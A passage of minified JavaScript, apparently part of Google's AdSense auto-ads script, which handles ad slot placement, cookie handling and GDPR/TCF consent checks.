a.i&&(c=a.i,0>c&&(c+=b.length),b=0<=c&&c<b.length?[b[c]]:[]);if("number"===typeof a.j){c=[];for(var d=0;d<b.length;d++){var e=Ki(b[d]),f=a.j;0>f&&(f+=e.length);0<=f&&f<e.length&&c.push(e[f])}b=c}return b} Hi.prototype.toString=function(){return JSON.stringify({nativeQuery:this.l,occurrenceIndex:this.i,paragraphIndex:this.j,ignoreMode:this.h})};function Ji(a,b){if(null==a.h)return b;switch(a.h){case 1:return b.slice(1);case 2:return b.slice(0,b.length-1);case 3:return b.slice(1,b.length-1);case 0:return b;default:throw Error("Unknown ignore mode: "+a.h);}}function Ki(a){var b=[];xd(a.getElementsByTagName("p"),function(c){100<=Li(c)&&b.push(c)});return b} function Li(a){if(3==a.nodeType)return a.length;if(1!=a.nodeType||"SCRIPT"==a.tagName)return 0;var b=0;xd(a.childNodes,function(c){b+=Li(c)});return b}function Mi(a){return 0==a.length||isNaN(a[0])?a:"\\"+(30+parseInt(a[0],10))+" "+a.substring(1)};function Ni(a){if(!a)return null;var b=A(a,7);if(A(a,1)||a.getId()||0<wb(a,4).length){var c=a.getId();b=wb(a,4);var d=A(a,1),e="";d&&(e+=d);c&&(e+="#"+Mi(c));if(b)for(c=0;c<b.length;c++)e+="."+Mi(b[c]);a=(b=e)?new Hi(b,A(a,2),A(a,5),Oi(A(a,6))):null}else a=b?new Hi(b,A(a,2),A(a,5),Oi(A(a,6))):null;return a}var Pi={1:1,2:2,3:3,0:0};function Oi(a){return null==a?a:Pi[a]}var Qi={1:0,2:1,3:2,4:3};function Ri(a){return a.google_ama_state=a.google_ama_state||{}} function Si(a){a=Ri(a);return a.optimization=a.optimization||{}};function Ti(a){switch(A(a,8)){case 1:case 2:if(null==a)var b=null;else b=G(a,Jd,1),null==b?b=null:(a=A(a,2),b=null==a?null:new Ld({Ga:[b],Ra:a}));return null!=b?Dd(b):Fd(Error("Missing dimension when creating placement id"));case 3:return Fd(Error("Missing dimension when creating placement id"));default:return Fd(Error("Invalid type: "+A(a,8)))}};function T(a){a=void 0===a?"":a;var b=Error.call(this);this.message=b.message;"stack"in b&&(this.stack=b.stack);this.name="TagError";this.message=a?"adsbygoogle.push() error: "+a:"";Error.captureStackTrace?Error.captureStackTrace(this,T):this.stack=Error().stack||""}v(T,Error);var Pf,Ui,fi=new ci;function Vi(a){null!=a&&(w.google_measure_js_timing=a);w.google_measure_js_timing||(a=fi,a.h=!1,a.i!=a.j.google_js_reporting_queue&&(bi()&&Ra(a.i,di),a.i.length=0))}(function(a){Pf=a||new Nf;"number"!==typeof w.google_srt&&(w.google_srt=Math.random());Of();Ui=new ei;Ui.Va(!0);"complete"==w.document.readyState?Vi():fi.h&&xc(w,"load",function(){Vi()})})();function Wi(a,b,c){return Ui.oa(a,b,c)}function Xi(a,b){return Ui.Oa(a,b)} function Yi(a,b,c){var d=O(Oh).h();!b.eid&&d.length&&(b.eid=d.toString());Qf(Pf,a,b,!0,c)}function Zi(a,b){Ui.Pa(a,b)}function $i(a,b,c,d){var e;Rh(b)?e=b.msg||gi(b.error):e=gi(b);return 0==e.indexOf("TagError")?(c=b instanceof Qh?b.error:b,c.pbr||(c.pbr=!0,Ui.I(a,b,.1,d,"puberror")),!1):Ui.I(a,b,c,d)};function aj(a){a=void 0===a?window:a;a=a.googletag;return(null==a?0:a.apiReady)?a:void 0};function bj(a){var b=aj(a);return b?Sa(Ta(b.pubads().getSlots(),function(c){return a.document.getElementById(c.getSlotElementId())}),function(c){return null!=c}):null}function cj(a,b){return Ya(a.document.querySelectorAll(b))}function dj(a){var b=[];a=u(a);for(var c=a.next();!c.done;c=a.next()){c=c.value;for(var d=!0,e=0;e<b.length;e++){var f=b[e];if(f.contains(c)){d=!1;break}if(c.contains(f)){d=!1;b[e]=c;break}}d&&b.push(c)}return b};function ej(a,b){function c(){d.push({anchor:e.anchor,position:e.position});return e.anchor==b.anchor&&e.position==b.position}for(var d=[],e=a;e;){switch(e.position){case 1:if(c())return d;e.position=2;case 2:if(c())return d;if(e.anchor.firstChild){e={anchor:e.anchor.firstChild,position:1};continue}else e.position=3;case 3:if(c())return d;e.position=4;case 4:if(c())return d}for(;e&&!e.anchor.nextSibling&&e.anchor.parentNode!=e.anchor.ownerDocument.body;){e={anchor:e.anchor.parentNode,position:3}; if(c())return d;e.position=4;if(c())return d}e&&e.anchor.nextSibling?e={anchor:e.anchor.nextSibling,position:1}:e=null}return d};function fj(a,b){this.i=a;this.h=b} function gj(a,b){var c=new Id,d=new Hd;b.forEach(function(e){if(Ib(e,Yd,1,ae)){e=Ib(e,Yd,1,ae);if(G(e,Wd,1)&&G(G(e,Wd,1),Jd,1)&&G(e,Wd,2)&&G(G(e,Wd,2),Jd,1)){var f=hj(a,G(G(e,Wd,1),Jd,1)),g=hj(a,G(G(e,Wd,2),Jd,1));if(f&&g)for(f=u(ej({anchor:f,position:A(G(e,Wd,1),2)},{anchor:g,position:A(G(e,Wd,2),2)})),g=f.next();!g.done;g=f.next())g=g.value,c.set(za(g.anchor),g.position)}G(e,Wd,3)&&G(G(e,Wd,3),Jd,1)&&(f=hj(a,G(G(e,Wd,3),Jd,1)))&&c.set(za(f),A(G(e,Wd,3),2))}else Ib(e,Zd,2,ae)?ij(a,Ib(e,Zd,2,ae), c):Ib(e,$d,3,ae)&&jj(a,Ib(e,$d,3,ae),d)});return new fj(c,d)}function ij(a,b,c){G(b,Jd,1)&&(a=kj(a,G(b,Jd,1)))&&a.forEach(function(d){d=za(d);c.set(d,1);c.set(d,4);c.set(d,2);c.set(d,3)})}function jj(a,b,c){G(b,Jd,1)&&(a=kj(a,G(b,Jd,1)))&&a.forEach(function(d){c.add(za(d))})}function hj(a,b){return(a=kj(a,b))&&0<a.length?a[0]:null}function kj(a,b){return(b=Ni(b))?Ii(b,a):null};function lj(){this.h=new p.Set}function mj(a){a=nj(a);return a.has("all")||a.has("after")}function oj(a){a=nj(a);return a.has("all")||a.has("before")}function pj(a,b,c){switch(c){case 2:case 3:break;case 1:case 4:b=b.parentElement;break;default:throw Error("Unknown RelativePosition: "+c);}for(c=[];b;){if(qj(b))return!0;if(a.h.has(b))break;c.push(b);b=b.parentElement}c.forEach(function(d){return a.h.add(d)});return!1} function qj(a){var b=nj(a);return a&&("AUTO-ADS-EXCLUSION-AREA"===a.tagName||b.has("inside")||b.has("all"))}function nj(a){return(a=a&&a.getAttribute("data-no-auto-ads"))?new p.Set(a.split("|")):new p.Set};function rj(a,b){if(!a)return!1;a=Nc(a,b);if(!a)return!1;a=a.cssFloat||a.styleFloat;return"left"==a||"right"==a}function sj(a){for(a=a.previousSibling;a&&1!=a.nodeType;)a=a.previousSibling;return a?a:null}function tj(a){return!!a.nextSibling||!!a.parentNode&&tj(a.parentNode)};function uj(a){var b={};a&&wb(a,6).forEach(function(c){b[c]=!0});return b}function vj(a,b,c,d,e){this.h=a;this.H=b;this.j=c;this.m=e||null;this.A=(this.C=d)?gj(a.document,H(d,Xd,5)):gj(a.document,[]);this.G=new lj;this.i=0;this.l=!1} function wj(a,b){if(a.l)return!0;a.l=!0;var c=H(a.j,ce,1);a.i=0;var d=uj(a.C);var e=a.h;try{var f=e.localStorage.getItem("google_ama_settings");var g=f?Nb(se,f):null}catch(S){g=null}var h=null!==g&&D(g,2,!1);g=Ri(e);h&&(g.eatf=!0,kd(7,[!0,0,!1]));var k=P(Ve)||P(Ue);f=P(Ue);if(k){b:{var l={fb:!1},m=cj(e,".google-auto-placed"),q=cj(e,'ins.adsbygoogle[data-anchor-shown="true"]'),t=cj(e,"ins.adsbygoogle[data-ad-format=autorelaxed]");var y=(bj(e)||cj(e,"div[id^=div-gpt-ad]")).concat(cj(e,"iframe[id^=google_ads_iframe]")); var F=cj(e,"div.trc_related_container,div.OUTBRAIN,div[id^=rcjsload],div[id^=ligatusframe],div[id^=crt-],iframe[id^=cto_iframe],div[id^=yandex_], div[id^=Ya_sync],iframe[src*=adnxs],div.advertisement--appnexus,div[id^=apn-ad],div[id^=amzn-native-ad],iframe[src*=amazon-adsystem],iframe[id^=ox_],iframe[src*=openx],img[src*=openx],div[class*=adtech],div[id^=adtech],iframe[src*=adtech],div[data-content-ad-placement=true],div.wpcnt div[id^=atatags-]"),z=cj(e,"ins.adsbygoogle-ablated-ad-slot"),E=cj(e,"div.googlepublisherpluginad"); k=[].concat(cj(e,"iframe[id^=aswift_],iframe[id^=google_ads_frame]"),cj(e,"ins.adsbygoogle"));h=[];l=u([[l.Mb,m],[l.fb,q],[l.Pb,t],[l.Nb,y],[l.Qb,F],[l.Lb,z],[l.Ob,E]]);for(m=l.next();!m.done;m=l.next())q=u(m.value),m=q.next().value,q=q.next().value,!1===m?h=h.concat(q):k=k.concat(q);k=dj(k);l=dj(h);h=k.slice(0);k=u(l);for(l=k.next();!l.done;l=k.next())for(l=l.value,m=0;m<h.length;m++)(l.contains(h[m])||h[m].contains(l))&&h.splice(m,1);e=Vf(e).clientHeight;for(k=0;k<h.length;k++)if(l=h[k].getBoundingClientRect(), !(0===l.height&&!f||l.top>e)){e=!0;break b}e=!1}g=e?g.eatfAbg=!0:!1}else g=h;if(g)return!0;g=new Hd([2]);for(e=0;e<c.length;e++){f=a;k=c[e];h=e;l=b;if(!G(k,Pd,4)||!g.contains(A(G(k,Pd,4),1))||1!==A(k,8)||k&&null!=A(k,4)&&d[A(G(k,Pd,4),2)])f=null;else{f.i++;if(k=xj(f,k,l,d))l=Ri(f.h),l.numAutoAdsPlaced||(l.numAutoAdsPlaced=0),null==l.placed&&(l.placed=[]),l.numAutoAdsPlaced++,l.placed.push({index:h,element:k.ha}),kd(7,[!1,f.i,!0]);f=k}if(f)return!0}kd(7,[!1,a.i,!1]);return!1} function xj(a,b,c,d){if(b&&null!=A(b,4)&&d[A(G(b,Pd,4),2)]||1!=A(b,8))return null;d=G(b,Jd,1);if(!d)return null;d=Ni(d);if(!d)return null;d=Ii(d,a.h.document);if(0==d.length)return null;d=d[0];var e=Qi[A(b,2)];e=void 0===e?null:e;var f;if(!(f=null==e)){a:{f=a.h;switch(e){case 0:f=rj(sj(d),f);break a;case 3:f=rj(d,f);break a;case 2:var g=d.lastChild;f=rj(g?1==g.nodeType?g:sj(g):null,f);break a}f=!1}if(c=!f&&!(!c&&2==e&&!tj(d)))c=1==e||2==e?d:d.parentNode,c=!(c&&!te(c)&&0>=c.offsetWidth);f=!c}if(!(c= f)){c=a.A;f=A(b,2);g=za(d);g=c.i.h.get(g);if(!(g=g?g.contains(f):!1))a:{if(c.h.contains(za(d)))switch(f){case 2:case 3:g=!0;break a;default:g=!1;break a}for(f=d.parentElement;f;){if(c.h.contains(za(f))){g=!0;break a}f=f.parentElement}g=!1}c=g}if(!c){c=a.G;f=A(b,2);a:switch(f){case 1:g=mj(d.previousElementSibling)||oj(d);break a;case 4:g=mj(d)||oj(d.nextElementSibling);break a;case 2:g=oj(d.firstElementChild);break a;case 3:g=mj(d.lastElementChild);break a;default:throw Error("Unknown RelativePosition: "+ f);}c=g||pj(c,d,f)}if(c)return null;c=G(b,be,3);f={};c&&(f.Wa=A(c,1),f.Ha=A(c,2),f.cb=!!xb(c,3));c=G(b,Pd,4)&&A(G(b,Pd,4),2)?A(G(b,Pd,4),2):null;c=Sd(c);g=null!=A(b,12)?A(b,12):null;g=null==g?null:new Qd(null,{google_ml_rank:g});b=yj(a,b);b=Rd(a.m,c,g,b);c=a.h;a=a.H;var h=c.document,k=f.cb||!1;g=(new Bc(h)).createElement("DIV");var l=g.style;l.width="100%";l.height="auto";l.clear=k?"both":"none";k=g.style;k.textAlign="center";f.lb&&Gi(k,f.lb);h=(new Bc(h)).createElement("INS");k=h.style;k.display= "block";k.margin="auto";k.backgroundColor="transparent";f.Wa&&(k.marginTop=f.Wa);f.Ha&&(k.marginBottom=f.Ha);f.ab&&Gi(k,f.ab);g.appendChild(h);f={ra:g,ha:h};f.ha.setAttribute("data-ad-format","auto");g=[];if(h=b&&b.Ja)f.ra.className=h.join(" ");h=f.ha;h.className="adsbygoogle";h.setAttribute("data-ad-client",a);g.length&&h.setAttribute("data-ad-channel",g.join("+"));a:{try{var m=f.ra;var q=void 0===q?0:q;if(P(Qe)){q=void 0===q?0:q;var t=Af(d,e,q);if(t.init){var y=t.init;for(d=y;d=t.ja(d);)y=d;var F= {anchor:y,position:t.na}}else F={anchor:d,position:e};m["google-ama-order-assurance"]=q;ue(m,F.anchor,F.position)}else ue(m,d,e);b:{var z=f.ha;z.dataset.adsbygoogleStatus="reserved";z.className+=" adsbygoogle-noablate";m={element:z};var E=b&&b.Qa;if(z.hasAttribute("data-pub-vars")){try{E=JSON.parse(z.getAttribute("data-pub-vars"))}catch(S){break b}z.removeAttribute("data-pub-vars")}E&&(m.params=E);(c.adsbygoogle=c.adsbygoogle||[]).push(m)}}catch(S){(z=f.ra)&&z.parentNode&&(E=z.parentNode,E.removeChild(z), te(E)&&(E.style.display=E.getAttribute("data-init-display")||"none"));z=!1;break a}z=!0}return z?f:null}function yj(a,b){return Bd(Ed(Ti(b).map(Td),function(c){Ri(a.h).exception=c}))};function zj(a){if(P(Pe))var b=null;else try{b=a.getItem("google_ama_config")}catch(d){b=null}try{var c=b?Nb(je,b):null}catch(d){c=null}return c};function Aj(a){J.call(this,a)}v(Aj,J);function Bj(a){try{var b=a.localStorage.getItem("google_auto_fc_cmp_setting")||null}catch(d){b=null}var c=b;return c?Gd(function(){return Nb(Aj,c)}):Dd(null)};function Cj(){this.S={}}function Dj(){if(Ej)return Ej;var a=md()||window,b=a.google_persistent_state_async;return null!=b&&"object"==typeof b&&null!=b.S&&"object"==typeof b.S?Ej=b:a.google_persistent_state_async=Ej=new Cj}function Fj(a){return Gj[a]||"google_ps_"+a}function Hj(a,b,c){b=Fj(b);a=a.S;var d=a[b];return void 0===d?a[b]=c:d}var Ej=null,Ij={},Gj=(Ij[8]="google_prev_ad_formats_by_region",Ij[9]="google_prev_ad_slotnames_by_region",Ij);function Jj(a){this.h=a||{cookie:""}} Jj.prototype.set=function(a,b,c){var d=!1;if("object"===typeof c){var e=c.Sb;d=c.Tb||!1;var f=c.domain||void 0;var g=c.path||void 0;var h=c.jb}if(/[;=\s]/.test(a))throw Error('Invalid cookie name "'+a+'"');if(/[;\r\n]/.test(b))throw Error('Invalid cookie value "'+b+'"');void 0===h&&(h=-1);this.h.cookie=a+"="+b+(f?";domain="+f:"")+(g?";path="+g:"")+(0>h?"":0==h?";expires="+(new Date(1970,1,1)).toUTCString():";expires="+(new Date(Date.now()+1E3*h)).toUTCString())+(d?";secure":"")+(null!=e?";samesite="+ e:"")};Jj.prototype.get=function(a,b){for(var c=a+"=",d=(this.h.cookie||"").split(";"),e=0,f;e<d.length;e++){f=Ja(d[e]);if(0==f.lastIndexOf(c,0))return f.substr(c.length);if(f==a)return""}return b};Jj.prototype.isEmpty=function(){return!this.h.cookie}; Jj.prototype.clear=function(){for(var a=(this.h.cookie||"").split(";"),b=[],c=[],d,e,f=0;f<a.length;f++)e=Ja(a[f]),d=e.indexOf("="),-1==d?(b.push(""),c.push(e)):(b.push(e.substring(0,d)),c.push(e.substring(d+1)));for(a=b.length-1;0<=a;a--)c=b[a],this.get(c),this.set(c,"",{jb:0,path:void 0,domain:void 0})};function Kj(a){J.call(this,a)}v(Kj,J);function Lj(a){var b=new Kj;return B(b,5,a)};function Mj(){this.A=this.A;this.G=this.G}Mj.prototype.A=!1;Mj.prototype.j=function(){if(this.G)for(;this.G.length;)this.G.shift()()};function Nj(a){void 0!==a.addtlConsent&&"string"!==typeof a.addtlConsent&&(a.addtlConsent=void 0);void 0!==a.gdprApplies&&"boolean"!==typeof a.gdprApplies&&(a.gdprApplies=void 0);return void 0!==a.tcString&&"string"!==typeof a.tcString||void 0!==a.listenerId&&"number"!==typeof a.listenerId?2:a.cmpStatus&&"error"!==a.cmpStatus?0:3}function Oj(a,b){b=void 0===b?500:b;Mj.call(this);this.h=a;this.i=null;this.m={};this.H=0;this.C=b;this.l=null}v(Oj,Mj); Oj.prototype.j=function(){this.m={};this.l&&(yc(this.h,this.l),delete this.l);delete this.m;delete this.h;delete this.i;Mj.prototype.j.call(this)};function Pj(a){return"function"===typeof a.h.__tcfapi||null!=Qj(a)} Oj.prototype.addEventListener=function(a){function b(f,g){clearTimeout(e);f?(c=f,c.internalErrorState=Nj(c),g&&0===c.internalErrorState||(c.tcString="tcunavailable",g||(c.internalErrorState=3))):(c.tcString="tcunavailable",c.internalErrorState=3);a(c)}var c={},d=wc(function(){return a(c)}),e=0;-1!==this.C&&(e=setTimeout(function(){c.tcString="tcunavailable";c.internalErrorState=1;d()},this.C));try{Rj(this,"addEventListener",b)}catch(f){c.tcString="tcunavailable",c.internalErrorState=3,e&&(clearTimeout(e), e=0),d()}};Oj.prototype.removeEventListener=function(a){a&&a.listenerId&&Rj(this,"removeEventListener",null,a.listenerId)};function Rj(a,b,c,d){c||(c=function(){});if("function"===typeof a.h.__tcfapi)a=a.h.__tcfapi,a(b,2,c,d);else if(Qj(a)){Sj(a);var e=++a.H;a.m[e]=c;a.i&&(c={},a.i.postMessage((c.__tcfapiCall={command:b,version:2,callId:e,parameter:d},c),"*"))}else c({},!1)}function Qj(a){if(a.i)return a.i;a.i=$c(a.h,"__tcfapiLocator");return a.i} function Sj(a){a.l||(a.l=function(b){try{var c=("string"===typeof b.data?JSON.parse(b.data):b.data).__tcfapiReturn;a.m[c.callId](c.returnValue,c.success)}catch(d){}},xc(a.h,"message",a.l))};function Tj(a){var b=a.u,c=a.ta,d=a.Ia;a=Uj({u:b,Z:a.Z,ka:void 0===a.ka?!1:a.ka,la:void 0===a.la?!1:a.la});null!=a.h||"tcunav"!=a.i.message?d(a):Vj(b,c).then(function(e){return e.map(Wj)}).then(function(e){return e.map(function(f){return Xj(b,f)})}).then(d)} function Uj(a){var b=a.u,c=a.Z,d=void 0===a.ka?!1:a.ka;if(!(a=!(void 0===a.la?0:a.la)&&Pj(new Oj(b)))){if(d=!d){if(c){c=Bj(b);if(null==c.h)Ui.I(806,c.i,void 0,void 0),c=!1;else if((c=c.h.value)&&null!=A(c,1))b:switch(c=A(c,1),c){case 1:c=!0;break b;default:throw Error("Unhandled AutoGdprFeatureStatus: "+c);}else c=!1;c=!c}d=c}a=d}if(!a)return Xj(b,Lj(!0));c=Dj();return(c=Hj(c,24))?Xj(b,Wj(c)):Fd(Error("tcunav"))}function Vj(a,b){return p.Promise.race([Yj(),Zj(a,b)])} function Yj(){return(new p.Promise(function(a){var b=Dj();a={resolve:a};var c=Hj(b,25,[]);c.push(a);b.S[Fj(25)]=c})).then(ak)}function Zj(a,b){return new p.Promise(function(c){a.setTimeout(c,b,Fd(Error("tcto")))})}function ak(a){return a?Dd(a):Fd(Error("tcnull"))} function Wj(a){var b=void 0===b?!1:b;if(!1===a.gdprApplies)var c=!0;else void 0===a.internalErrorState&&(a.internalErrorState=Nj(a)),c="error"===a.cmpStatus||0!==a.internalErrorState||"loaded"===a.cmpStatus&&("tcloaded"===a.eventStatus||"useractioncomplete"===a.eventStatus)?!0:!1;if(c)if(!1===a.gdprApplies||"tcunavailable"===a.tcString||void 0===a.gdprApplies&&!b||"string"!==typeof a.tcString||!a.tcString.length)a=!0;else{var d=void 0===d?"755":d;b:{if(a.publisher&&a.publisher.restrictions&&(b=a.publisher.restrictions["1"], void 0!==b)){b=b[void 0===d?"755":d];break b}b=void 0}0===b?a=!1:a.purpose&&a.vendor?(b=a.vendor.consents,(d=!(!b||!b[void 0===d?"755":d]))&&a.purposeOneTreatment&&"CH"===a.publisherCC?a=!0:(d&&(a=a.purpose.consents,d=!(!a||!a["1"])),a=d)):a=!0}else a=!1;return Lj(a)}function Xj(a,b){a:{a=void 0===a?window:a;if(xb(b,5))try{var c=a.localStorage;break a}catch(d){}c=null}return(b=c)?Dd(b):Fd(Error("unav"))};function bk(a){J.call(this,a)}v(bk,J);function ck(a){J.call(this,a,-1,dk)}v(ck,J);var dk=[1,2];function ek(a){this.exception=a}function fk(a,b,c){this.j=a;this.h=b;this.i=c}fk.prototype.start=function(){this.l()};fk.prototype.l=function(){try{switch(this.j.document.readyState){case "complete":case "interactive":wj(this.h,!0);gk(this);break;default:wj(this.h,!1)?gk(this):this.j.setTimeout(Ea(this.l,this),100)}}catch(a){gk(this,a)}};function gk(a,b){try{var c=a.i,d=c.resolve,e=a.h;Ri(e.h);H(e.j,ce,1);d.call(c,new ek(b))}catch(f){a.i.reject(f)}};function hk(a){J.call(this,a,-1,ik)}v(hk,J);function jk(a){J.call(this,a)}v(jk,J);function kk(a){J.call(this,a)}v(kk,J);var ik=[7];function lk(a){a=(a=(new Jj(a)).get("FCCDCF",""))?a:null;try{return a?Nb(hk,a):null}catch(b){return null}};Zb({Gb:0,Fb:1,Cb:2,xb:3,Db:4,yb:5,Eb:6,Ab:7,Bb:8,wb:9,zb:10}).map(function(a){return Number(a)});Zb({Ib:0,Jb:1,Hb:2}).map(function(a){return Number(a)});function mk(a){function b(){if(!a.frames.__uspapiLocator)if(c.body){var d=Mc("IFRAME",c);d.style.display="none";d.style.width="0px";d.style.height="0px";d.style.border="none";d.style.zIndex="-1000";d.style.left="-1000px";d.style.top="-1000px";d.name="__uspapiLocator";c.body.appendChild(d)}else a.setTimeout(b,5)}var c=a.document;b()};function nk(a){this.h=a;this.i=a.document;this.j=(a=(a=lk(this.i))?G(a,kk,5)||null:null)?A(a,2):null;(a=lk(this.i))&&G(a,jk,4);(a=lk(this.i))&&G(a,jk,4)}function ok(){var a=window;a.__uspapi||a.frames.__uspapiLocator||(a=new nk(a),pk(a))}function pk(a){!a.j||a.h.__uspapi||a.h.frames.__uspapiLocator||(a.h.__uspapiManager="fc",mk(a.h),Ga(function(){return a.l.apply(a,ka(ta.apply(0,arguments)))}))} nk.prototype.l=function(a,b,c){"function"===typeof c&&"getUSPData"===a&&c({version:1,uspString:this.j},!0)};function qk(a){J.call(this,a)}v(qk,J);qk.prototype.getWidth=function(){return C(this,1,0)};qk.prototype.getHeight=function(){return C(this,2,0)};function rk(a){J.call(this,a)}v(rk,J);function sk(a){J.call(this,a)}v(sk,J);var tk=[4,5];function uk(a){var b=/[a-zA-Z0-9._~-]/,c=/%[89a-zA-Z]./;return a.replace(/(%[a-zA-Z0-9]{2})/g,function(d){if(!d.match(c)){var e=decodeURIComponent(d);if(e.match(b))return e}return d.toUpperCase()})}function vk(a){for(var b="",c=/[/%?&=]/,d=0;d<a.length;++d){var e=a[d];b=e.match(c)?b+e:b+encodeURIComponent(e)}return b};function wk(a,b){a=vk(uk(a.location.pathname)).replace(/(^\/)|(\/$)/g,"");var c=Tc(a),d=xk(a);return r(b,"find").call(b,function(e){var f=null!=A(e,7)?A(G(e,oe,7),1):A(e,1);e=null!=A(e,7)?A(G(e,oe,7),2):2;if("number"!==typeof f)return!1;switch(e){case 1:return f==c;case 2:return d[f]||!1}return!1})||null}function xk(a){for(var b={};;){b[Tc(a)]=!0;if(!a)return b;a=a.substring(0,a.lastIndexOf("/"))}};var yk={},zk=(yk.google_ad_channel=!0,yk.google_ad_host=!0,yk);function Ak(a,b){a.location.href&&a.location.href.substring&&(b.url=a.location.href.substring(0,200));Yi("ama",b,.01)}function Bk(a){var b={};Sc(zk,function(c,d){d in a&&(b[d]=a[d])});return b};function Ck(a){a=G(a,le,3);return!a||A(a,1)<=Date.now()?!1:!0}function Dk(a){return(a=zj(a))?Ck(a)?a:null:null}function Ek(a,b){try{b.removeItem("google_ama_config")}catch(c){Ak(a,{lserr:1})}};function Fk(a){J.call(this,a)}v(Fk,J);function Gk(a){J.call(this,a,-1,Hk)}v(Gk,J);var Hk=[1];function Ik(a){J.call(this,a,-1,Jk)}v(Ik,J);Ik.prototype.getId=function(){return C(this,1,0)};Ik.prototype.V=function(){return C(this,7,0)};var Jk=[2];function Kk(a){J.call(this,a,-1,Lk)}v(Kk,J);Kk.prototype.V=function(){return C(this,5,0)};var Lk=[2];function Mk(a){J.call(this,a,-1,Nk)}v(Mk,J);function Ok(a){J.call(this,a,-1,Pk)}v(Ok,J);Ok.prototype.V=function(){return C(this,1,0)};function Qk(a){J.call(this,a)}v(Qk,J);var Nk=[1,4,2,3],Pk=[2];function Rk(a){J.call(this,a,-1,Sk)}v(Rk,J);function Tk(a){return Ib(a,Gk,14,Uk)}var Sk=[19],Uk=[13,14];var Vk=void 0;function Wk(){Yf(Vk,Xf);return Vk}function Xk(a){Yf(Vk,$f);Vk=a};function Yk(a,b,c,d){c=void 0===c?"":c;return 1===b&&Zk(c,void 0===d?null:d)?!0:$k(a,c,function(e){return Ua(H(e,Tb,2),function(f){return A(f,1)===b})})}function Zk(a,b){return b?13===Cb(b,Uk)?D(Ib(b,Fk,13,Uk),1):14===Cb(b,Uk)&&""!==a&&1===wb(Tk(b),1).length&&wb(Tk(b),1)[0]===a?D(G(Tk(b),Fk,2),1):!1:!1}function al(a,b){b=C(b,18,0);-1!==b&&(a.tmod=b)}function bl(a){var b=void 0===b?"":b;var c=Ic(L)||L;return cl(c,a)?!0:$k(L,b,function(d){return Ua(wb(d,3),function(e){return e===a})})} function dl(a){return $k(w,void 0===a?"":a,function(){return!0})}function cl(a,b){a=(a=(a=a.location&&a.location.hash)&&a.match(/forced_clientside_labs=([\d,]+)/))&&a[1];return!!a&&Xa(a.split(","),b.toString())}function $k(a,b,c){a=Ic(a)||a;var d=el(a);b&&(b=rd(String(b)));return Yb(d,function(e,f){return Object.prototype.hasOwnProperty.call(d,f)&&(!b||b===f)&&c(e)})}function el(a){a=fl(a);var b={};Sc(a,function(c,d){try{var e=new Rb(c);b[d]=e}catch(f){}});return b} function fl(a){return P(xe)?(a=Uj({u:a,Z:Wk()}),null!=a.h?(gl("ok"),a=hl(a.h.value)):(gl(a.i.message),a={}),a):hl(a.localStorage)}function hl(a){try{var b=a.getItem("google_adsense_settings");if(!b)return{};var c=JSON.parse(b);return c!==Object(c)?{}:Xb(c,function(d,e){return Object.prototype.hasOwnProperty.call(c,e)&&"string"===typeof e&&Array.isArray(d)})}catch(d){return{}}}function gl(a){P(we)&&Yi("abg_adsensesettings_lserr",{s:a,g:P(xe),c:Wk(),r:.01},.01)};function il(a,b,c,d){jl(new kl(a,b,c,d))}function kl(a,b,c,d){this.u=a;this.i=b;this.j=c;this.h=d}function jl(a){Ed(Cd(Uj({u:a.u,Z:D(a.i,6)}),function(b){ll(a,b,!0)}),function(){ml(a)})}function ll(a,b,c){Ed(Cd(nl(b),function(d){ol("ok");a.h(d)}),function(){Ek(a.u,b);c?ml(a):a.h(null)})}function ml(a){Ed(Cd(pl(a),a.h),function(){ql(a)})}function ql(a){Tj({u:a.u,Z:D(a.i,6),ta:50,Ia:function(b){rl(a,b)}})}function nl(a){return(a=Dk(a))?Dd(a):Fd(Error("invlocst"))} function pl(a){a:{var b=a.u;var c=a.j;a=a.i;if(13===Cb(a,Uk))b=(b=G(G(Ib(a,Fk,13,Uk),bk,2),ck,2))&&0<H(b,ce,1).length?b:null;else{if(14===Cb(a,Uk)){var d=wb(Tk(a),1),e=G(G(G(Tk(a),Fk,2),bk,2),ck,2);if(1===d.length&&d[0]===c&&e&&0<H(e,ce,1).length&&I(a,17)===b.location.host){b=e;break a}}b=null}}b?(c=new je,a=H(b,ce,1),c=Gb(c,1,a),b=H(b,me,2),b=Gb(c,7,b),b=Dd(b)):b=Fd(Error("invtag"));return b}function rl(a,b){Ed(Cd(b,function(c){ll(a,c,!1)}),function(c){ol(c.message);a.h(null)})} function ol(a){Yi("abg::amalserr",{status:a,guarding:"true",timeout:50,rate:.01},.01)};function sl(a){Ak(a,{atf:1})}function tl(a,b){(a.google_ama_state=a.google_ama_state||{}).exception=b;Ak(a,{atf:0})};function U(a){a.google_ad_modifications||(a.google_ad_modifications={});return a.google_ad_modifications}function ul(a){a=U(a);var b=a.space_collapsing||"none";return a.remove_ads_by_default?{Fa:!0,tb:b,qa:a.ablation_viewport_offset}:null}function vl(a,b){a=U(a);a.had_ads_ablation=!0;a.remove_ads_by_default=!0;a.space_collapsing="slot";a.ablation_viewport_offset=b}function wl(a){U(L).allow_second_reactive_tag=a} function xl(){var a=U(window);a.afg_slotcar_vars||(a.afg_slotcar_vars={});return a.afg_slotcar_vars};function yl(a,b){if(!a)return!1;a=a.hash;if(!a||!a.indexOf)return!1;if(-1!=a.indexOf(b))return!0;b=zl(b);return"go"!=b&&-1!=a.indexOf(b)?!0:!1}function zl(a){var b="";Sc(a.split("_"),function(c){b+=c.substr(0,2)});return b};$a||!x("Safari")||Oa();function Al(){var a=this;this.promise=new p.Promise(function(b,c){a.resolve=b;a.reject=c})};function Bl(){var a=new Al;return{promise:a.promise,resolve:a.resolve}};function Cl(a){a=void 0===a?function(){}:a;w.google_llp||(w.google_llp={});var b=w.google_llp,c=b[7];if(c)return c;c=Bl();b[7]=c;a();return c}function Dl(a){return Cl(function(){Lc(w.document,a)}).promise};function El(a){var b={};return{enable_page_level_ads:(b.pltais=!0,b),google_ad_client:a}};function Fl(a){if(w.google_apltlad||w!==w.top||!a.google_ad_client)return null;w.google_apltlad=!0;var b=El(a.google_ad_client),c=b.enable_page_level_ads;Sc(a,function(d,e){Ei[e]&&"google_ad_client"!==e&&(c[e]=d)});c.google_pgb_reactive=7;if("google_ad_section"in a||"google_ad_region"in a)c.google_ad_section=a.google_ad_section||a.google_ad_region;return b}function Gl(a){return ya(a.enable_page_level_ads)&&7===a.enable_page_level_ads.google_pgb_reactive};function Hl(a,b){this.h=w;this.i=a;this.j=b}function Il(a){P(lf)?il(a.h,a.j,a.i.google_ad_client||"",function(b){var 